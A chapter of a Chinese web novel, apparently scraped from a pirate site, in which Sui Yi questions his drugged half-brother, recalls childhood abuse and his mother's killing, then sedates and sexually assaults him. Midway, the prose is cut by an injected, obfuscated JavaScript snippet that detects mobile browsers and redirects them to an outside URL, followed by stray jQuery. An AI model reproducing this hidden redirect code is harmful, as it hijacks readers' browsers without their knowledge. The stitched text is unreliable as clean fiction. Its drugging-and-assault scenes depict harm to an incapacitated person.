“有多恨他?”
“不恨。”
“为什么?”
隋和光颈侧青筋绷起,是意识在与药剂对抗,谋求主导。没受过特殊训练、但意志坚硬的人,受吐真剂影响,无法闭口不谈,也无法畅谈。
他看起来很不舒服。
隋翊轻轻环住他,捋顺凌乱发梢,不动了。消去戾气,轻柔的,“哥,没事了……”多年前,他也是这样唤隋和光,不是大哥、兄长,跟隋木莘较劲,喊“哥哥”。
他不再问恨与不恨的问题,只问:“为什么护隋翊两年?”
“我读过勺棠两年文章。”
“又为什么突然要走?你去军队隋翊就可能死。”
“他一定能活。”隋和光说:“他是最像隋靖正的人。”
隋翊双手抓住椅背,指头陷进去。“你觉得,我、隋翊不像白芍棠?”
接着他发现,隋和光呼吸变缓了。
隋和光缓慢地撩开眼皮,他看起来很疲惫,语气很轻,反问隋翊:今天是什么日子,你知不知道?
四月十七。是你母亲的生日。
药注少了。隋翊知道,隋和光醒了……
不对,隋和光一定还没清醒,否则怎么会说出后边的话?
隋和光说,今天是白芍棠给自己定的生日。她总是有自己的想法,总想活出个人样,往外走、往外逃。
不安分是她的死罪,奸夫只是讨伐的旗。
隋和光看向隋翊。
这些年你很痛苦,但我帮不了你。我必须背叛这家庭,否则我会痛苦。
他说:知道你活下来,白芍棠也许会开心点。
成年快乐,隋翊。哪怕你长成了一个混蛋。
就像代替隋翊早逝的母亲,说出这声祝福。
他看起来一点也不恨隋翊。只是不在乎。
他对白芍棠没有男女之情,但他在乎她,所以顺带着不恨隋翊。
前半生的恩恩怨怨,成了一碗苦茶,隋和光喝一半,搁下了杯,剩下留给隋翊。茶凉了,他没喝,也没放下。
……他放不下。
隋翊被闪过的回忆席卷。
隋和光去军队后,大夫人在府里那几年,隋老爷一有时间,就带隋翊去寺庙。
经是抄不完的,写到小毛笔呲开,才能停,当天手都拿不稳筷子。隋老爷说这是隋翊在赎罪,人生来都是有罪的,隋翊抿去指甲缝的血,有时眼神不对,会惹来一顿蒲团压着的打,疼,还不容易留印。
打完,隋老爷就去殿内请香,礼佛。
偶尔有女人出现,隋靖正让隋翊喊“二姨娘”。一个又一个。有时候半夜会有枪声、哭声,更多时候是短的一声尖叫,继而无声,隔天,“二姨娘”不会再出现。
有一天,隋翊趴在地上,偷偷从门缝底下看里头。
夜里做了噩梦。
梦见她娘,和她临死前的事——脱光了,被人闷在被子里打。腿荡出被子,上头青紫鳞片一样覆盖,忽地,床头又荡出一块玉佩。
隋翊被大丫鬟死死捂住嘴,透过半敞的门缝看完全程。
护卫走后,他捡起来玉佩。
玉佩晃动,他似乎看见,娘的尸体在水中摇荡。
噩梦做完,隋翊没法说话了。
喉咙没有问题,发得出怪声,但就是说不出完整的字句,和尚说这是修了闭口禅。隋老爷不管这样多,哑巴照打不误。
隋翊一天天长开,隋老爷发现,这小子的眉眼,居然很像年轻的他。
然后隋翊日子好过很多,只抄经背经,不挨打了。偶尔,还会听他爹发一通牢骚:宋氏又要回娘家过年,又当众给他难看……宋家那兵痞(夫人她弟)又发酒疯,抽他鞭子,惹不起官兵还得赔笑……给管家改名百顺,是提醒谁百依百顺……
还有隋和光,他的大儿子,他的亲儿子,敢拿母族势力压他!
寺庙冷,酒气森森,隋翊说不了话,只能听着。隋靖正笑:翊儿,听这么认真,能懂吗?爬过来,爹抱你……
怕什么?你有人护着,我哪敢杀你?
再后来,大夫人去清修,隋靖正一点一点教隋翊,码头是怎么运转的,怎样卡商船的利钱,他也教隋翊杀人立威,枪决私运烟膏的头目——倒真像一个父亲。
有回心血来潮,他带隋翊去港口,指着纹旗,问,这是什么?隋翊写字:隋家的旗。隋老爷说多写几遍,这是家业,背挺直了,你要担得起!当天所有工人都认识了少东家的脸。
隋靖正会去应酬,半夜上寺庙,酒喝多了,对着隋翊抹眼泪,嘴里念叨的都是一个人:你母亲,白勺棠、勺棠……为什么要偷人……为什么,不来梦里见我……
隋翊以为酒是好东西,才让隋靖正做了人事、说了人话。
他第一口酒,是咂的隋和光筷尖——他非要练酒量,大哥烦得很,随手敷衍。
第二回喝酒,就是跟隋靖正。喝到天亮,他在纸上写了满篇的“娘”,一个一个抹去,只留下一个“爹”字。
挨打太痛。他选择了忘记。
忘记——落水时,是谁捞起了他;祠堂遭打,是谁赶回来,砍断了鞭子;大夫人又是受谁之托,看顾他。忘记他娘,忘记前十年。
只记得,他还有一个爹。
也是在那一年,隋和光回来了。
自失声后,隋翊总算能说话——被打出来的。
咬着满口的血,他问大哥,您怎么没死外边儿啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372200|183973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
隋翊试过女人,也试过男人,都干不了。每到周末,他白天抄佛经,晚上,对着菩萨像□□。
再之后,隋翊去捧戏班子,某夜,做了个梦。戏子名玉霜,是他小娘,跟他大哥纠缠……红尘俗世,恨海情天。
隋翊是凭着恨,才活过这许多年。
如今又恨老天,恨阴差阳错,鬼神弄人,炸毁万佛寺的居然是隋和光、他纠缠强迫的隋和光、喊的一声声“小娘”,竟然是恨隋和光。
隋翊最恨自己。
恨这样久,就是怕去思考——
如果白勺棠非你情人,如果对你来说,她不算至亲。
如果你也会为别人动情。
如果我不再坚定恨你、你分毫不恨我。
那我娘对你来说,算什么?
我对你,又算什么?
隋翊脸上像笑,又像是哭。“十年,”喉管发出锈般的摩擦,“你就看着我恨你……我对你、是有多无足轻重……”
隋和光倦怠垂眸,不再做回应。
隋翊突然出手,用快掐碎下颌的劲逼人仰头,直视他。隋和光发出声闷哼,这才冷冷骂“畜牲”,顺他目光下望,隋翊才发觉,自己腿中间鼓起一片轮廓。
隋翊僵硬抬头,又在正对隋和光胸口的地方停住。
入春,衬衣偏薄,还没干透,里边肉色若隐若现。
他抓过,扯咬过。
隋翊手上也快,给隋和光再注射一剂镇定剂,慢慢地,半跪下去。
“……”隋和光只剩动弹手指的力气。
隋翊将半张脸埋进隋和光胸膛。
也许是房内迷香太重,也许是隋和光掐太紧,有这样一刻,隋翊出现了幻觉,朦胧见隋和光张开怀抱,浅笑……隋翊恩将仇报,咬穿他心口,喝掉心头血,隋和光只是沉默着,承受了一切。
底下胸口起伏。
哪是什么承受,只是药下狠了。
隋翊拆开他真正的成年礼物,咬开纽扣,像用舌尖去舔蛋糕刮刀上的奶油。
白勺棠还活着那几年,只在隋翊生日时,或者她生日时,会买回来蛋糕,母子分吃。
忽地,眼前一晃,隋翊才发觉被当胸踹了一脚。隋和光吃了药的大亏,腿脚乏力,隋翊明明能稳住,但他顺势摔地。
旧时光中玉狮子马倒地,十年后才传来回声。隋翊从前恐惧那马,恐惧死,但今天生出了羡慕。
在疯癫的高潮中,生命最热烈的时刻,走向终末,何尝不算一种痛快——痛饮死亡。
隋翊取枪,塞进隋和光手中。枪口对着他自己。
“像第一次教我杀马那样,”隋翊半跪,说,“求你、开枪。”
求你恨我。